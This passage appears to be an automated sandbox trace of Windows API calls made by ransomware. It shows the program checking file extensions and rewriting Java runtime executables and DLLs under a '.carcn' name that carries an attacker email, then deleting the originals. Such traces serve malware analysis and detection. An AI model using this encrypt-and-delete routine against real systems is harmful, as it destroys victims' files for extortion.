(lpString=".jpg") returned 4 [0304.191] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.191] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0304.191] lstrlenW (lpString="pack200.exe") returned 11 [0304.191] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0304.191] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=16448) returned 1 [0304.191] CloseHandle (hObject=0x394) returned 1 [0304.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 0x20 [0304.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.192] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0304.192] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.192] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.192] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0304.192] GetLastError () returned 0x0 [0304.192] ReadFile (in: hFile=0x394, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x4040, lpOverlapped=0x0) returned 1 [0304.305] WriteFile (in: hFile=0x364, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x4050, lpOverlapped=0x0) returned 1 [0304.306] ReadFile (in: hFile=0x394, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.306] WriteFile (in: hFile=0x364, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xea, lpOverlapped=0x0) returned 1 [0304.306] SetEndOfFile (hFile=0x364) returned 1 [0304.306] CloseHandle (hObject=0x364) returned 1 [0304.307] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.307] SetEndOfFile (hFile=0x394) returned 1 [0304.308] CloseHandle (hObject=0x394) returned 1 [0304.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.308] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 1 [0304.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0304.308] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0304.308] lstrlenW (lpString=".doc") returned 4 [0304.308] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0304.308] lstrlenW (lpString=".docx") returned 5 [0304.308] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0304.308] lstrlenW (lpString=".pdf") returned 4 [0304.308] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0304.308] lstrlenW (lpString=".xls") returned 4 [0304.308] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0304.309] lstrlenW (lpString=".xlsx") returned 5 [0304.309] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0304.309] lstrlenW (lpString=".ppt") returned 4 [0304.309] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0304.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0304.309] lstrlenW (lpString=".zip") returned 4 [0304.309] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0304.309] lstrlenW (lpString=".rar") returned 4 [0304.309] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0304.309] lstrlenW (lpString=".bz2") returned 4 [0304.309] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0304.309] lstrlenW (lpString=".7z") returned 3 [0304.309] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0304.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0304.309] lstrlenW (lpString=".dbf") returned 4 [0304.309] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0304.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0304.309] lstrlenW (lpString=".1cd") returned 4 [0304.309] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0304.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0304.309] lstrlenW (lpString=".jpg") returned 4 [0304.309] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0304.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0304.309] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0304.309] lstrlenW (lpString=".doc") returned 4 [0304.309] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0304.309] lstrlenW (lpString=".docx") returned 5 [0304.309] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0304.310] lstrlenW (lpString=".pdf") returned 4 [0304.310] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0304.310] lstrlenW (lpString=".xls") returned 4 [0304.310] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0304.310] lstrlenW (lpString=".xlsx") returned 5 [0304.310] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0304.310] lstrlenW (lpString=".ppt") returned 4 [0304.310] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0304.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0304.310] lstrlenW (lpString=".zip") returned 4 [0304.310] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0304.310] lstrlenW (lpString=".rar") returned 4 [0304.310] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0304.310] lstrlenW (lpString=".bz2") returned 4 [0304.310] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0304.310] lstrlenW (lpString=".7z") returned 3 [0304.310] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0304.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0304.310] lstrlenW (lpString=".dbf") returned 4 [0304.310] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0304.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0304.310] lstrlenW (lpString=".1cd") returned 4 [0304.310] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0304.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0304.310] lstrlenW (lpString=".jpg") returned 4 [0304.310] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0304.311] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0304.311] lstrlenW (lpString="policytool.exe") returned 14 [0304.311] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0304.311] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=16448) returned 1 [0304.311] CloseHandle (hObject=0x394) returned 1 [0304.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20 [0304.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0304.312] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.312] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.312] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0304.313] GetLastError () returned 0x0 [0304.313] ReadFile (in: hFile=0x394, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x4040, lpOverlapped=0x0) returned 1 [0304.345] WriteFile (in: hFile=0x364, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x4050, lpOverlapped=0x0) returned 1 [0304.352] ReadFile (in: hFile=0x394, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.352] WriteFile (in: hFile=0x364, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xf0, lpOverlapped=0x0) returned 1 [0304.352] SetEndOfFile (hFile=0x364) returned 1 [0304.378] CloseHandle (hObject=0x364) returned 1 [0304.378] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.378] SetEndOfFile (hFile=0x394) returned 1 [0304.379] CloseHandle (hObject=0x394) returned 1 [0304.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.380] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 1 [0304.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0304.382] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0304.382] lstrlenW (lpString=".doc") returned 4 [0304.382] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0304.382] lstrlenW (lpString=".docx") returned 5 [0304.382] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0304.382] lstrlenW (lpString=".pdf") returned 4 [0304.382] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0304.382] lstrlenW (lpString=".xls") returned 4 [0304.382] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0304.382] lstrlenW (lpString=".xlsx") returned 5 [0304.382] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0304.383] lstrlenW (lpString=".ppt") returned 4 [0304.383] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0304.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0304.383] lstrlenW (lpString=".zip") returned 4 [0304.383] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0304.383] lstrlenW (lpString=".rar") returned 4 [0304.383] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0304.383] lstrlenW (lpString=".bz2") returned 4 [0304.383] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0304.383] lstrlenW (lpString=".7z") returned 3 [0304.383] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0304.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0304.383] lstrlenW (lpString=".dbf") returned 4 [0304.383] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0304.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0304.383] lstrlenW (lpString=".1cd") returned 4 [0304.383] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0304.383] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0304.383] lstrlenW (lpString=".jpg") returned 4 [0304.383] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0304.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0304.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0304.384] lstrlenW (lpString=".doc") returned 4 [0304.384] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0304.384] lstrlenW (lpString=".docx") returned 5 [0304.384] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0304.384] lstrlenW (lpString=".pdf") returned 4 [0304.384] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0304.384] lstrlenW (lpString=".xls") returned 4 [0304.384] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0304.384] lstrlenW (lpString=".xlsx") returned 5 [0304.384] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0304.384] lstrlenW (lpString=".ppt") returned 4 [0304.384] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0304.384] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0304.384] lstrlenW (lpString=".zip") returned 4 [0304.389] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0304.389] lstrlenW (lpString=".rar") returned 4 [0304.389] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0304.389] lstrlenW (lpString=".bz2") returned 4 [0304.389] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0304.389] lstrlenW (lpString=".7z") returned 3 [0304.389] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0304.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0304.389] lstrlenW (lpString=".dbf") returned 4 [0304.389] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0304.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0304.389] lstrlenW (lpString=".1cd") returned 4 [0304.389] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0304.389] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0304.389] lstrlenW (lpString=".jpg") returned 4 [0304.389] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0304.390] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0304.390] lstrlenW (lpString="prism_d3d.dll") returned 13 [0304.390] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0304.390] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=130624) returned 1 [0304.391] CloseHandle (hObject=0x394) returned 1 [0304.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20 [0304.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.391] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0304.391] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.391] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.391] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0304.392] GetLastError () returned 0x0 [0304.392] ReadFile (in: hFile=0x394, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x1fe40, lpOverlapped=0x0) returned 1 [0304.922] WriteFile (in: hFile=0x364, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x1fe50, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x1fe50, lpOverlapped=0x0) returned 1 [0304.925] ReadFile (in: hFile=0x394, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.925] WriteFile (in: hFile=0x364, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xee, lpOverlapped=0x0) returned 1 [0304.925] SetEndOfFile (hFile=0x364) returned 1 [0304.926] CloseHandle (hObject=0x364) returned 1 [0304.926] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.926] SetEndOfFile (hFile=0x394) returned 1 [0304.931] CloseHandle (hObject=0x394) returned 1 [0304.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.932] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 1 [0304.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0304.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0304.932] lstrlenW (lpString=".doc") returned 4 [0304.932] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.932] lstrlenW (lpString=".docx") returned 5 [0304.932] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0304.932] lstrlenW (lpString=".pdf") returned 4 [0304.932] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.932] lstrlenW (lpString=".xls") returned 4 [0304.932] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.932] lstrlenW (lpString=".xlsx") returned 5 [0304.932] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0304.932] lstrlenW (lpString=".ppt") returned 4 [0304.932] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0304.932] lstrlenW (lpString=".zip") returned 4 [0304.932] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.933] lstrlenW (lpString=".rar") returned 4 [0304.933] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.933] lstrlenW (lpString=".bz2") returned 4 [0304.933] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.933] lstrlenW (lpString=".7z") returned 3 [0304.933] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0304.933] lstrlenW (lpString=".dbf") returned 4 [0304.933] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0304.933] lstrlenW (lpString=".1cd") returned 4 [0304.933] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0304.933] lstrlenW (lpString=".jpg") returned 4 [0304.933] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0304.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0304.933] lstrlenW (lpString=".doc") returned 4 [0304.933] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.933] lstrlenW (lpString=".docx") returned 5 [0304.933] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0304.933] lstrlenW (lpString=".pdf") returned 4 [0304.933] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.933] lstrlenW (lpString=".xls") returned 4 [0304.933] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.933] lstrlenW (lpString=".xlsx") returned 5 [0304.933] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0304.933] lstrlenW (lpString=".ppt") returned 4 [0304.933] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0304.934] lstrlenW (lpString=".zip") returned 4 [0304.934] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.934] lstrlenW (lpString=".rar") returned 4 [0304.934] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.934] lstrlenW (lpString=".bz2") returned 4 [0304.934] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.934] lstrlenW (lpString=".7z") returned 3 [0304.934] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0304.934] lstrlenW (lpString=".dbf") returned 4 [0304.934] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0304.934] lstrlenW (lpString=".1cd") returned 4 [0304.934] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0304.934] lstrlenW (lpString=".jpg") returned 4 [0304.934] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.934] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0304.934] lstrlenW (lpString="servertool.exe") returned 14 [0304.934] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0304.935] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=16448) returned 1 [0304.935] CloseHandle (hObject=0x394) returned 1 [0304.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 0x20 [0304.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.935] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0304.936] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.936] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: 